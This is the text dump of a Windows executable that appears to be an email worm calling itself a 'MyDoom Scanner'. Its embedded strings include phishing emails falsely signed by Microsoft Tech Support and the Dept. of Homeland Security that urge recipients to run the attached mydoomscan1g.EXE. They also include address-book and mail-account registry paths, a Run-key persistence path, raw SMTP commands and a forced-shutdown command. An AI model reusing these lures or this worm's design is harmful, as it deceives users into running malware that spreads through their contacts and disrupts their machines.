MZP@ !L!This program must be run under Win32 $7PEL0/r Z0@ p PX`CODE  `DATA 0@.idataP@.reloc` @PhhB@~hB@h@@h?@6uQ5@@@8.EXEt@jh?@5@@h?@h @@h@@jh?@h@@jjh?@h=@@jjh@@h@@h@@h@@jhhB@B@G?u?@\Gh@hB@jh?@jW% Q@%$Q@%(Q@%,Q@%0Q@%4Q@%8Q@% Subject:Microsoft Tech Support Critical Alert MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01BDE2EC.8B286C00" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 ------=_NextPart_000_0005_01BDE2EC.8B286C00 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable During the last month, many bugs were found in our software. Because want to give our custumers as much security as we at Mircosoft always have we will as always remain doing so dillegently, such is our ultimate ongoing goal to you our customers and shall remain so in order to live up to our trademark of excellence. As such, we decided to send out to all known Microsoft custumers this fast and efficient MyDoom Scanner Version 1.0 Build G created by the Microsoft Tech Support Team. This this scanner/cleaner should detect and clean automatically all know forms of the MyDoom worm versions A through G and will be updated Watch for future updates and patches of this fine utility and as always check for Updates and least once a month or more (also see future mailing from Microsoft Tech Reps.) as always thank you for being one of our valued customers in the Microsoft family ! The scanner is completely free and easy to install. After a successful installation you should get an OK message box. Thank you again for using Microsoft products. Care of Your Microsoft Tech Support Team ------=_NextPart_000_0005_01BDE2EC.8B286C00 Content-Type: application/octet-stream; name=mydoomscan1g.EXE Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mydoomscan1g.EXE" pFrom: "Dept. of Homeland Security" Subject: Notice: Dept. of Homeland Security Internet Worm Warning/Prevention MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01BDE2EC.8B286C00" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 ------=_NextPart_000_0005_01BDE2EC.8B286C00 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Glad to serve u, master --123-- . quit Software\Microsoft\Internet Account ManagerSoftware\Microsoft\Windows\CurrentVersion\RunSoftware\Microsoft\WAB\WAB4\Wab File NameSoftware\Microsoft\Internet Account Manager\Accounts\00000000Default Mail AccountSMTP ServerPOP3 ServerPOP3 User NameSMTP Email Address P250lord_yogsothoth@yahoo.comInternetGetConnectedStatewininet.dllmydoomscan1g.EXECouldn't execute frame buffer!KERNEL32 ERRORmydoomscan1g.EXEW32.IdiotTest by -=[Azag-TH0TH]=--=[Azag-TH0TH]=-Win 32Bit MyDoom Scanner v1.0 Build G by -=[Azag-TH0TH]=-MyDoomScan1G.EXEloadwindowsLOADING TEST For MyDoom Scanner v1d..Test will now begin scanning-cleaning your computer hard drives......................C:\WINXP\system32\shutdown.exeopen-s -t 95\ wininit.iniCreated by -=[Azag-TH0TH]=-xPQ QPQ|QPQQPQQ QQQRR(RFRTRbRzRRRRRRRRSS&S8SFSVSfS~SSSSSSSSSST TT(T:TJTRR(RFRTRbRzRRRRRRRRSS&S8SFSVSfS~SSSSSSSSSST TT(T:TJTKERNEL32.dllUSER32.dllSHELL32.DLLWSOCK32.dllADVAPI32.dllWriteFileWriteProfileStringAWritePrivateProfileStringACloseHandleGlobalAllocGetCurrentDirectoryACreateFileMappingAGetModuleFileNameAFindFirstFileAFreeLibraryGetCommandLineACopyFileACreateFileAGetFileSizeExitProcessGetWindowsDirectoryAGetProcAddressGlobalFreeLoadLibraryAMapViewOfFileSetCurrentDirectoryAUnmapViewOfFileMessageBoxAShellExecuteAconnectclosesocketWSAStartupWSACleanupsocketgethostbynamesendrecvhtonsRegQueryValueExARegSetValueExARegOpenKeyExARegCloseKey000%0@0^0e0q0w0}00000000000011 171=1C1I1O1U1[1a1g1m1s1y111111111111111111111112 22